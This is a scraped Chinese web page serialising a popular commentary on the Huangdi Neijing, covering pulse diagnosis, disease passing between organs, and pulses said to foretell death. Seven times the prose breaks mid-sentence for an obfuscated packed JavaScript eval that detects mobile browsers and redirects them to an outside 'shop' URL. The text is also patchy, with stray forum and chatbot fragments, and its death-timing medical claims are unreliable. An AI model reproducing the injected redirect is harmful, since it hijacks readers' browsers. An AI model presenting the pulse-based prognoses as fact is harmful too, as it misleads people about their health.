黄帝问，冬脉太过于不及，会发生怎样的病变？ 在中医理论中，脉象的“太过”与“不及”不仅反映了脉动的状态，还常常与人体内的健康状况和疾病状态息息相关。 岐伯说：当脉象“太过”时，意味着脉气过于亢进或充盈，这种情况确实可能导致人体出现一系列的不适症状。比如，精神不振、身体懈怠可能是因为气血过于充盈，而未能得到合 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13428670|141410||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 理的疏导，导致气血运行不畅；脊骨疼痛则可能是因为气血瘀滞，不能滋养骨骼；气短、懒于说话则可能是因为心肺功能受到影响，气虚所致。 相反，当脉象“不及”时，表明脉气虚弱或不足，也可能引起一系列的身体不适。例如，心中如同饥饿时一样感到空虚，这可能是由于胃气不足，消化功能减弱所致；胁下空软部位清冷，脊骨作痛，则可能是因为肝肾气血不足，不能滋养身体；小腹胀满、小便颜色出现异常则可能是因为膀胱气化不利，水道不畅。 这些症状的出现，提示我们需要关注身体的健康状况，并根据脉象的“太过”与“不及”进行针对性的调理。比如，对于脉象“太过”的人，可以适当进行运动，以疏导气血；而对于脉象“不及”的人，则需要加强营养，补充气血。 需要注意的是，以上分析只是基于中医理论的一般性解释，并不能完全涵盖所有情况。在实际操作中，还需要结合患者的具体情况进行综合分析，才能得出准确的诊断和治疗方案。 第14章 （5）读懂长夏脉象，了解脾脏脏的健康密码 黄帝问脾脉的正常与异常，可以看得出来吗？ 岐伯说：脾脉是反映脾脏功能状态的重要指标之一。当脾脏功能正常时，其脉象往往表现为柔和、有力、节律匀整，这样的脉象通常不会特别突出或异常，因此给人一种“看不出来”的感觉。但这并不意味着脾脉没有变化，而是说在健康状态下，其变化是细微且难以察觉的。 当脾脏功能出现异常时，脾脉的脉象就会发生变化，变得异常明显。比如，如果脾脏气血不足，脾脉可能会变得虚弱无力；如果脾脏湿气过重，脾脉可能会变得沉重迟缓；如果脾脏有热象，脾脉可能会变得躁动急促。这些异常脉象都是可以通过脉诊来观察和判断的。 因此，岐伯所说的“正常的脾脉看不出来，有病的脾脉是可以看出来的”实际上是强调了脉诊在中医诊断中的重要性和敏感性。 黄帝问：先生说脾为孤脏，位居中央，属土灌溉滋养四周及其他脏腑，那么他的太过和不及都会引发什么病变呢？ 岐伯说：“脾脉太过会使人四肢不能举动”，这里的“太过”指的是脉象过于强盛。在中医看来，脾主肌肉四肢，如果脾的功能过于亢进，可能会导致肌肉和四肢失去正常的协调和控制，进而出现四肢不能自如活动的情况。 而“脾脉不急会使人九窍不通，身重却不自如”中，“不急”指的是脉象过于虚弱或无力。脾的功能衰弱，会影响到体内气血的生成和运化，导致身体各部位得不到足够的营养和能量支持。九窍指的是人体的眼、耳、鼻、口等感觉器官，当脾的功能不足时，这些器官的功能也会受到影响，出现感觉迟钝、不灵敏等症状。同时，身体也会因为缺乏足够的营养和能量支持而感到沉重和不自在。 这种病症被称为“重强”，是中医对于某种特定症状的描述。它并不是一个具体的疾病名称，而是指一系列由于脾的功能失调所导致的身体不适症状。 在治疗上，中医会根据患者的具体情况进行辨证施治，通过调整饮食、生活习惯、中药等方式来恢复脾的功能，从而达到治疗的目的。同时，也会根据患者的脉象变化来判断病情的发展和治疗效果。 中医诊脉学的核心要义。提到的“神”字，在中医理论中，是生命活动的核心和主宰，它代表了人体内部脏腑功能的协调、气血运 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13428671|141410||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 行的顺畅以及生命活动的整体状态。 “诊脉的要领”，实际上是指通过观察脉象来判断人体内部的状态。脉象是中医诊断的重要依据之一，它反映了人体气血的盛衰、脏腑功能的强弱以及疾病的性质、部位等信息。通过考察五色（面色、舌色等）和四时（春、夏、秋、冬）脉象的变化，医生可以更加准确地判断病情，制定治疗方案。 诊察脉象的正常与异常，其精要归结于一个“神”字。这里的“神”可以理解为人体内部的生命力和活力，它推动着气血的运行，维持着人体的生命活动。当“神”的功用运转不息，不断向前时，人体就能保持生机和活力；而如果“神”的功用出现紊乱或衰退，就会导致气血运行不畅，脏腑功能失调，从而引发各种疾病。 表达中医诊脉学的深刻理解和重视，也体现了他对生命奥秘的敬畏和追求。在中医理论中，“神”是一个非常重要的概念，它贯穿于中医的各个方面，是中医理论的核心和灵魂。 因此，我们在学习和应用中医理论时，应该深入理解“神”的概念，注重诊察脉象的变化，以更加准确地判断病情，制定治疗方案。 第14章 （6）切勿轻视！脏腑间疾病传递的可怕后果 本章节虽然显得有些啰嗦，但是等你细细品味，你会感觉很有意思，特别是在我之前的章节认真的听过或看过的，五脏五行各个方面的关系之后，我想对于今天所说的不难理解。 五脏之间的相生相克关系构成了一个复杂的动态平衡系统。这种关系不仅体现在它们各自的功能上，也体现在它们之间的病理变化上。关于“五脏所受的病气源于其所生之脏，传给其所克之脏，病气滞留于生己之脏，死于克己之脏”这一说法，我们可以从以下几个方面来理解： 五脏之间的相生关系是指某一脏腑对另一脏腑具有滋养、促进的作用。例如，木生火，即肝（木）能生心（火）。当肝脏功能失调，产生病气时，这种病气可能会影响到心脏，因为心脏依赖于肝脏的滋养。 五脏之间的相克关系则是指某一脏腑对另一脏腑具有制约、克制的作用。如金克木，即肺（金）能克肝（木）。如果肝脏病气过重，可能会影响到肺脏，因为肺脏具有克制肝脏的功能。 接下来，“病气滞留于生己之脏”意味着当某一脏腑功能失调时，其病气可能会滞留在生养它的脏腑中。例如，如果心脏功能失调，病气可能会滞留在肝脏中，因为肝脏是生养心脏的。 “死于克己之脏”则是指当某一脏腑的病气过于严重时，可能会导致克制它的脏腑也受到损伤甚至功能衰竭。如心脏病气过重时，可能会影响到肾脏（水），因为水克火，肾脏具有克制心脏的作用。然而这里的“死”并不是指真正的死亡，而是指脏腑功能的严重受损。 这一说法体现了中医理论中五脏之间相生相克、相互制约的复杂关系。在实际应用中，中医医生会根据患者的具体病情，通过调整五脏之间的平衡关系来达到治疗疾病的目的。我这么说，大家是否能明白，如果不明白，可以在评论中给我留言。我想大家从头读到这的话？这个理论你再反复思考之后会懂的，因为黄帝内经需要我们一生去学习，反复去学习。 在中医看来，五脏之间的相克相生关系，构成了一个动态的平衡系统。当某一脏腑功能失调，产生病气时，这种病气可能会按照相克相生的规律，影响到其他脏腑。那我们现在看看病气在脏腑的传递情况。 当心脏从脾脏接受病气时，病气可能传行于肺脏，滞留于肝脏，最后传到肾脏时可能导致死亡。这是因为心脏受到脾脏病气的影响，进而影响到肺脏（火克金），再影响到肝脏（木生火），最后传递到肾脏（水生木）。在这个过程中，如果病气过于严重或持续时间过长，可能会导致肾脏功能衰竭，从而危及生命。 脾脏从肺脏接收病气时，病气可能传行于肾脏，滞留于心脏，最后传到肝脏时可能导致死亡。这是因为脾脏受到肺脏病气的影响，进而影响到肾脏（金生水），再影响到心脏（火生土），最后传递到肝脏（木克土）。在这个过程中，如果病气影响到心脏这个“君主之官”，可能会导致全身脏腑功能的紊乱和衰竭。 肺脏从肾脏接受病气时，病气可能传行于肝脏，滞留于脾脏，最后传到心脏时可能导致死亡。这是因为肺脏受到肾脏病气的影响，进而影响到肝脏（水生木），再影响到脾脏（木克土），最后传递到心脏（火生土）。在这个过程中，如果病气持续影响心脏，可能会导致心脏功能的衰竭和生命的终结。 肾脏从肝脏接受病气时，病气可能传行于心脏，滞留于肺脏，最后传到脾脏时可能导致死 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13428672|141410||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 亡。这是因为肾脏受到肝脏病气的影响，进而影响到心脏（木生火），再影响到肺脏（火克金），最后传递到脾脏（土生金）。在这个过程中，如果病气影响到脾脏这个“后天之本”，可能会导致全身营养的供应不足和脏腑功能的衰竭。 这些病气的逆转和传递过程确实可能导致病情的恶化和生命的危险。然而，在实际的临床实践中，疾病的发展和演变往往受到多种因素的影响，包括体质、病因、病机、治疗干预等。因此，在治疗过程中，中医强调辨证论治、因人制宜，通过调整脏腑之间的平衡关系、消除病气和补充正气等方法来达到治疗疾病的目的。 将一日一夜划分为五个阶段，并与五脏相对应，这是中医时间医学的一个重要观点，称为“五脏与时辰相应”。通过这一理论，我们可以根据脏腑的生理特性和时辰的对应关系，来推测人体在某些时段可能更易于出现疾病或者病势的变化，包括死亡的可能时间。 通常，人们将一天一夜分为五个时段，分别是平旦、日中、日铺、合夜、鸡鸣，它们分别对应着肝、心、脾、肺、肾五脏。 如果五脏有病，病气会各自穿行于其所克之脏。例如，心病可能影响到肺（火克金），肝病可能影响到脾（木克土），脾病可能影响到肾（土克水），肺病可能影响到心（金克木），肾病可能影响到肝（水克火）。这种传变过程可能会导致病情的加重和复杂化。 如果不能掌握治病的时机，病气可能会在短时间内传遍五脏。这个时间长度可能因病情的严重程度、患者的体质等因素而有所不同。但一般来说，如果病情严重且治疗不及时，病气可能在短时间内传遍五脏，导致全身脏腑功能的紊乱和衰竭。 第14章 （7）为何及时治疗如此关键？揭秘病情传递与恶化的真相 风邪确实被视为一种能够引起多种疾病的病邪，并因其广泛性和多发性而被称为“百病之长”。当风寒邪气侵入人体时，它会影响人体的气血运行，导致肌肤的毫毛竖起，皮肤闭合，进而引发发热等症状。 从中医的角度来看，风寒邪气侵入人体后，会使人体的阳气受到抑制，导致气血不畅，进而出现一系列的症状。这时，通过发汗的方法可以有效地驱散风寒邪气，恢复人体的阳气，从而达到治疗的目的。 具体来说，发汗的方法可以通过多种方式实现，如服用解表散寒的中药、进行针灸治疗、拔罐、刮痧等物理疗法，或者通过运动、热敷等方式促进身体出汗。这些方法都能够有效地刺激人体的阳气，促进气血运行，从而驱散风寒邪气，缓解发热等症状。 如果“不及时治疗病气，就会内传于肺，这叫做肺痹，会有咳嗽出现。人体的五脏六腑是相互联系、相互影响的。当外部邪气或内部疾病没有得到及时治疗或调理时，它们可能会从一处传递到另一处，引发更为严重的健康问题。 具体来说，如果病气不及时得到治疗，可能会逐渐侵袭到肺部，导致肺痹的形成。肺痹在中医中是指因肺气痹阻、肺络不通而引起的肺部疾病。其主要症状包括咳嗽、上气（即呼吸困难）等，这些都是由于肺部的气血不畅、功能受阻所致。 如果依然不及时治疗病气就会传于肝，这叫做肝痹，又叫做肝厥。会有胁痛吐食的症状出现。 当病气传于肝时，会导致肝痹或肝厥的发生。肝痹和肝厥都是中医中描述肝脏功能失调、气血不畅的病症。其症状可能包括胁痛（即胸胁部位疼痛）和吐食（即恶心、呕吐）等。这些症状的出现，说明肝脏已经受到了一定程度的损害，需要及时进行治疗。 在治疗方面，中医提供了多种方法，包括按摩和针刺等。按摩可以疏通经络、调和气血，对于缓解胁痛等症状有一定的帮助。而针刺则可以刺激穴位、调整脏腑功能，对于治疗肝痹、肝厥等病症也有显着的效果 如果仍不及时治疗就会传行于脾，这叫做脾风，会有黄疸，腹中热，烦心小便，发黄等症状出现。 脾脏主运化水谷精微，负责将食物转化为营养物质并输送到全身。当脾脏受到病邪侵袭时，其运化功能会受到影响，导致水湿内停、气血不畅，从而引发黄疸、腹中热、烦心小便发黄等症状。 针对脾风的治疗，中医提供了多种方法，包括按摩、药物和热汤浴等。按摩可以疏通经络、调和气血，有助于缓解脾脏功能失调引起的症状。药物治疗则需要根据患者的具体情况进行辨证施治，选用合适的中药方剂进行治疗。热汤浴则可以通过温热的作用，促进全身血液循环，加速新陈代谢，有助于排除体内的湿邪和毒素。 如果还不及时医治病气就会传行于肾，这叫做疝瘕，又叫做蛊病。疝瘕和蛊病，都指的是因肾脏受到病邪侵袭，导致其功能失调而引发的疾病。 肾脏被认为是先天之本，主藏精，主水液代谢，同时还与骨骼、骨髓、脑髓等密切相关。当肾脏受到病邪侵袭时，其功能会受到影响，导致水液代谢失常、精气不足等问题，从而引发一系列症状，如小腹烦热疼痛、小便色白而混浊等。 针对疝瘕和蛊病的治疗，中医提供了多种方法。按摩是一种常用的物理疗法，通过刺激穴位、疏通经络， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13428673|141410||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有助于调和气血、缓解疼痛。而药物治疗则需要根据患者的具体情况进行辨证施治，选用合适的中药方剂进行治疗。例如，对于水液代谢失常引起的症状，可能会采用利水渗湿、温阳化气等方法进行治疗；对于精气不足引起的症状，则可能会采用补肾填精、益气养血等方法进行治疗。 如果还不医治 病就会由肾传到心，发生筋脉牵引痉挛，这叫做瘈病。当疾病从肾脏影响到心脏时，可能会引发一系列症状，其中之一就是筋脉牵引痉挛，即我们所说的“瘈病”。 针对瘈病的治疗，中医确实提到了使用灸法或药物的方法。灸法是通过燃烧艾条来刺激人体的穴位，以达到温通经络、调和气血的目的。而药物治疗则需要根据患者的具体情况，辨证施治，选用合适的中药方剂进行治疗。 如果治疗无效，病情可能会进一步恶化。如果病邪由肾传到心，再将病反传到肺，确实可能会引发更为严重的病症，如寒热症。这种情况下，病人的病情可能会迅速恶化，甚至可能在短时间内导致死亡。这是疾病传变的一般次序，也是中医理论中关于疾病发展变化的一个重要观点。 需要强调的是，以上所述仅是中医学理论中的一种解释，并不能完全涵盖所有疾病的发展变化规律。在实际临床中，疾病的发展变化可能会受到多种因素的影响，如患者的体质、年龄、病因、病情等。因此，在治疗疾病时，我们需要综合考虑患者的具体情况，制定个性化的治疗方案，以期达到最佳的治疗效果。 总之，对于疾病的传变和治疗，我们需要深入了解中医学的相关理论，并在实际临床中灵活运用，以期更好地为患者服务。 第14章 （8）深度解析：情志疾病与克制策略的微妙关系 对于突然爆发的病，尤其是在涉及情志因素如忧恐、悲喜、怒等情志之病时，确实不能简单地按照常规的病邪传变次序来医治。中医理论中，虽然病邪的传变有一定的规律，但情志因素往往具有突发性、强烈性和不可预测性，它们能够直接作用于人体的脏腑经络，导致气血紊乱，从而引发各种疾病。 在中医看来，情志与五脏六腑有着密切的关系。比如，怒伤肝、喜伤心、思伤脾、忧伤肺、恐伤肾。当情志过激或持续不解时，就会对相应的脏腑造成损伤，导致气机不畅、血行不利，甚至脏腑功能失调，从而引发各种疾病。 因此，在治疗情志之病时，我们需要根据患者的具体情况，采用针对性的治疗方法。比如，对于怒伤肝的患者，我们可以采用疏肝解郁的方法；对于喜伤心的患者，我们可以采用养心安神的方法；对于思伤脾的患者，我们可以采用健脾益气的方法；对于忧伤肺的患者，我们可以采用宣肺止咳的方法；对于恐伤肾的患者，我们可以采用补肾安神的方法。 “喜极而伤心，心气虚弱则肾气会乘虚侵袭。我们来谈谈“喜极而伤心”。在中医看来，过度的喜悦会导致心气耗散，使心脏功能受到损害。这种损害可能会表现为心悸、失眠、多梦等症状。这是因为过度的喜悦会使心脏长时间处于亢奋状态，导致心脏疲劳，从而引发一系列的心脏问题。 接下来，我们看看“心气虚弱则肾气会乘虚侵袭”。在五行中，心属火，肾属水。按照五行相克的原理，水能够克火。当心气虚弱时，心脏功能减弱，对肾水的制约能力下降，这时肾水就有可能“乘虚而入”，对心脏造成进一步的损害。这种损害可能表现为心肾阳虚的症状，如心悸、畏寒、水肿等。 大怒而伤肝”，强烈的愤怒情绪可能导致肝气郁结或亢奋，进而影响到肝脏的健康。从而“肺气亏乘虚侵袭肝 五行理论中，金克木，即肺金克制肝木。但这里的“克”并非指肺金会直接“侵袭”肝木，而是指当肺金过强或肝木过弱时，肺金可能会对肝木产生制约或抑制作用。然而，在大怒导致肝气郁结或亢奋的情况下，更常见的是肝气反过来影响到肺气的宣发和肃降，导致肺气不畅或上逆，而非肺气亏虚后乘虚侵袭肝。 当然，从另一个角度来看，如果大怒导致肝气极度亢奋，长期以往可能会耗伤肝阴，进而影响到肝脏的阴液滋养功能。而肝阴与肺阴在生理上是相互滋生、相互制约的，肝阴不足可能导致肺阴也相对不足，但这并不等同于“肺气亏乘虚侵袭肝”。 所以，虽然情绪与脏腑的关联在中医理论中是重要的，但在理解和解释这种关联时，我们需要保持谨慎和精确。对于“大怒而伤肝则肺气亏乘虚侵袭肝”的说法，我们可以理解为在大怒情绪下，肝气可能会影响到肺气的正常功能，但并非肺气亏虚后直接侵袭肝脏。 谢邀。 在中医理论中，我们常说“情志内伤”，其中就包括了因为思虑过度而损伤脾脏的情况。当一个人的思考活动过于频繁或强烈时，确实可能导致脾气受损，进而影响到脾脏的运化功能。 当脾脏因思虑过度而虚弱时，其抵御能力就会下降，此时肝气就有可能乘虚而入，对脾脏进行克制，导致脾的功能进一步受损。 具体来说，如果脾气虚弱，就可能导致气血生成不足，影响到身体的营养吸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13428674|141410||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 收和能量供应。同时，由于肝气乘虚侵袭，还可能引发一系列的症状，如腹胀、腹泻、食欲不振等，这些都是脾胃功能失调的表现。 因此，在日常生活中，我们应该注意调节自己的情绪，避免过度思虑，以保护脾脏的健康。 “因为惊恐而伤肾，肾气内虚则脾气会乘虚侵袭肾”，中医认为，惊恐过度会损伤肾脏，导致肾气内虚。这是因为惊恐情绪会直接作用于肾脏，使其功能受损，表现为肾气不足，可能出现腰膝酸软、耳鸣、夜尿频繁等症状。 这时“脾气乘虚侵袭肾”。在中医五行理论中，土克水，这里的“土”指的是脾脏，“水”则代表肾脏。当肾气内虚时，脾气就可能因为失去制约而乘虚侵袭肾脏。这并不意味着脾气会直接攻击肾脏，而是指由于肾气不足，脾脏的运化功能可能过度亢进，从而影响到肾脏的正常功能。 这种情况可能导致肾脏的阴液被消耗，出现肾阴虚的症状，如口干、咽燥、潮热等。同时，由于脾脏的运化功能亢进，还可能伴随有腹胀、腹泻、食欲不振等脾胃功能失调的表现。 在中医治疗中，对于因惊恐而伤肾、肾气内虚导致脾气乘虚侵袭肾的情况，通常会采用补肾益气、健脾和胃的方法进行治疗。通过调和脏腑功能，恢复肾气和脾气的平衡，从而缓解相关症状。 过忧而伤肺，肺气内虚则心气会乘虚侵袭肺”在中医看来，忧愁的情绪会直接影响到肺气的宣发和肃降功能，导致肺气郁结或耗散，从而出现肺气内虚的状态。肺气内虚时，人们可能会感到呼吸不畅、气短、咳嗽等症状。 本小章还未完，请点击下一页继续阅读后面精彩内容！ 第14章 （9）肌体与真脏脉的关系 全身大的骨骼软弱，臂腿等部位的主要肌肉消瘦，胸中满闷，呼吸困难，呼吸时身体随之震动，病人六个月内就会死亡”。肺的真脏脉出现”与死亡日期的关系，在中医理论中，真脏脉的出现通常被视为病情严重的标志。这是黄帝内经中的原文，我只是给大家解说一下。我们接着往下看。 全身大的骨骼软弱，臂腿等部位的主要肌肉消瘦，胸中满闷，呼吸困难，呼吸时身体随之震动，牵引肩项也发生疼痛，病人一个月内就会死亡”。 “脾的真脏脉出现”与死亡日期的关系，在中医理论中，真脏脉的出现通常被视为病情严重的标志。 全身大的骨骼软弱，臂腿等部位的主要肌肉消瘦，胸中满闷，呼吸困难，呼吸时身体随之震动，牵引肩项也发生疼痛，全身发热，肌肉消瘦破溃。病人10日内就会死亡”，这是肝的真脏脉出现。 全身大的骨骼软弱，臂腿等部位的主要肌肉消瘦在两肩下垂，不能抬起，骨髓消损，动作衰退无力，如果真脏脉没有出现，病人一年内就会死亡，如果肾的真脏脉脉出现死亡日期，就可以预知。 全身大的骨骼软弱，臂腿等部位的主要肌肉消瘦，胸中满闷，呼吸困难，呼吸时身体随之震动，胸中满闷，呼吸困难，心中气郁不舒，兼向身上不发热，肌肉溃败，眼眶下陷，如果肝的真脏脉出现精气绝衰，眼睛看不见人，就会立即死亡。如果上门看见人是精气尚未枯竭，等到病气传至其所不胜之脏时，病人就会死亡。 我必须强调，医学上没有绝对的预测。每个人的身体状况、病情进展速度、治疗反应等都是不同的。因此，不能仅凭脉象或其他症状就断定患者的生存期。 我建议您尽快就医，进行全面的医学检查，包括心电图、肺功能测试、胸部CT等，以便医生能够准确判断病情并制定合适的治疗方案。 同 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13428675|141410||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时，我也想强调，即使病情严重，也不应放弃治疗。现代医学技术不断进步，许多疾病都有有效的治疗方法。只要我们积极配合医生的治疗，保持乐观的心态，就有可能战胜疾病，延长生存期。 我想说的是，面对疾病时，我们应该保持理性和科学的态度，不要轻信一些没有科学依据的说法。如果有任何疑问或担忧，最好咨询专业医生或医疗机构的意见。 我们根据黄帝内经的原文向大家解释的这些，只不过在提醒大家，在有这些相应的症状的情况下，我们应该及时就医。我们已经理解黄帝内经所说的了，知道每个人身体出现的一些的症状，其实这些症状都是我们身体疾病的体现，我们身上出现的每一个小症状的时候，就应该细心观察自己身体的健康情况。 黄帝内经，是让我们学习健康养生以及对人体出现的问题的，自己能够自我分辨清楚。而不至于一无所知，不知从何下手。 第14章 （10）真脏脉显五脏，身体有变 黄帝内经的这两节，经常说到死啊，是不是感觉挺吓人。但是我们不要在意，这只是人的疾病的传递和严重的症状体现，我们能够理解，知道就好，放松心情，接着跟我学黄帝内经的学问和道理。 “正气暴虚”和“外邪突然侵入”是对人体在病理状态下的一种高度概括和抽象，用于描述人体内外的阴阳失衡、气血不和等复杂病理现象。当正气急剧下降，外邪乘虚而入时，确实可能导致疾病的急剧发作和恶化。 “五脏气机闭塞，周身脉道不通，大气不能往来”等情况，这已经是疾病发展到非常严重的阶段。在中医理论中，这通常被视为“危急重症”的范畴，需要立即进行紧急救治。 “死亡的具体日期无法预测”，实际上在医学领域，无论是中医还是西医，都无法准确预测一个人的具体死亡日期。因为人体的生命活动受到众多因素的影响，包括病情的发展、治疗的效果、患者的体质和心态等。 在中医理论中，脉息的变化被视为反映人体健康状况的重要指标之一。当脉息断绝或跳动异常急促时，这通常意味着人体内部的阴阳气血已经出现了严重的紊乱和失衡。 脉息断绝而不再来，或是跳动异常急促，呼气一次脉搏就跳动五六次，一种非常危急的病理现象。在中医理论中，这通常被视为“心气欲绝”或“阳气暴脱”的表现，说明病人的生命活动已经处于极度衰弱的状态。 在这种情况下，即使病人的形体尚未出现衰败的迹象，真脏脉（即指五脏的脉象出现异常，通常被视为脏腑功能严重受损的标志）也没有出现，但病人的生命仍然处于极大的危险之中。因为脉息的变化直接反映了人体内部气血运行的状况，当气血运行出现严重障碍时，人体的生命活动也会受到极大的影响。 当肝脏的真脏脉出现时，脉象的特点表现为内外劲急，如被按在刀口上般疼痛，且阵阵作响，如同被按在新开的弓弦上一样紧绷而有力。这种脉象的出现，意味着肝脏的功能已经严重受损，气血运行不畅，生命活力急剧下降。 同时，当肝脏的真脏脉出现时，病人的面部往往呈现出青白色而没有光泽，这是因为肝脏功能衰竭，无法有效调节气血，导致面部肌肤失去正常的血色和光泽。此外，病人的毫毛也会变得枯焦，这是因为肝脏失去对毛发的滋养功能，导致毛发失去光泽和弹性。 这些症状和脉象的出现，都预示着病人的病情已经极其严重，生命已经处于危险之中。在中医理论中，这通常被视为“不治之症”，因为肝脏作为人体的重要器官之一，其功能的衰竭往往意味着整个生命系统的崩溃。 在中医脉诊中，心脏的真脏脉出现，往往被视为一种极端严重的病理现象，它预示着心脏功能的极度衰竭和生命活动的濒危。当心脏的真脏脉来时，脉象表现为坚硬而搏动有力，这种感觉就像触摸到薏苡仁那样，小而圆，但却带有一种不健康的强劲。 与此同时，病人的面部会呈现出赤黑色而没有光泽。这种颜色的变化并非健康的红润，而是由于心脏功能衰竭，血液循环不畅，导致面部肌肤失去了正常的血色，呈现出一种暗淡的赤黑色。此外，病人的毫毛也会变得枯焦，这是因为心脏功能衰竭，无法为毛发提供充足的营养和滋 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13428676|141410||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 养，导致毛发失去光泽和弹性。 这些症状和脉象的出现，都是心脏功能极度衰竭的表现，意味着病人的生命已经处于极度危险之中。在中医理论中，这通常被看作是病情极为严重，甚至可能预示着病人的死亡。 当肺脏的真脏脉来时，脉象表现为大而空虚，如同用毛羽轻轻拂拭人的皮肤一般，感觉轻虚而无力。这种脉象的出现，反映了肺脏功能的严重衰退，气血运行不畅，生命活力逐渐衰竭。 同时，病人的面部会呈现出白赤色，而无正常的光泽。这种颜色的变化是由于肺脏功能衰竭，无法有效调节气血，导致面部肌肤失去正常的血色和光泽。此外，病人的毫毛也会变得枯焦，这同样是肺脏功能衰退，无法为毛发提供充足的营养和滋养的表现。 这些症状和脉象的出现，通常意味着病人的生命已经处于极度危险之中。在中医理论中，肺脏作为人体的重要器官之一，其功能的衰竭往往预示着整个生命系统的崩溃。 当肾脏的真脏脉来时，搏动有力，就像拉断绳索那样有劲，又像用手弹击石头一样坚实。这种脉象的出现，反映了肾脏功能的严重衰竭，无法维持正常的气血运行，生命活力正在迅速流逝。 同时，病人的面部会呈现出黑黄色，且没有光泽。这种颜色的变化是由于肾脏功能衰退，导致体内毒素堆积，无法正常代谢，从而在面部肌肤上显现出来。此外，病人的毫毛也会变得枯焦，这同样是肾脏功能衰退，无法为毛发提供充足的营养和滋养的表现。 小主，这个章节后面还有哦，请点击下一页继续阅读，后面更精彩！ 第14章 （11）五实和五虚的症状和预后 黄帝说：在治病之时，首先要检查人的形体，气机，色泽以及脉象的虚实，疾病的新旧等，然后及时进行治疗”这一观点，体现了中医“望闻问切”四诊法的核心思想，也是中医治疗疾病的基本原则。 “望”即观察病人的形体、色泽，以及精神状态等外在表现，以此来推断疾病的性质和病势的深浅。通过观察，医生可以初步判断病人的气血状况、脏腑功能等。 “闻”则是通过听取病人的声音、气味等信息，进一步了解病情。例如，听病人的呼吸声、咳嗽声等，可以判断其肺部的状况；闻病人的口气、体味等，可以推测其消化系统的健康程度。 “问”即询问病人的病史、症状、饮食起居等情况，以便更全面地了解病情。通过询问，医生可以获取更多关于病人身体状况的信息，为后续的治疗提供依据。 “切”则是指切脉，通过触摸病人的脉搏，感知其脉象的虚实、快慢、节律等，以此来判断病人的气血状况、脏腑功能等。脉象是中医诊断的重要依据之一，能够反映病人的整体健康状况。在了解了病人的病情之后，医生需要及时进行治疗，以免错过最佳的治疗时机。 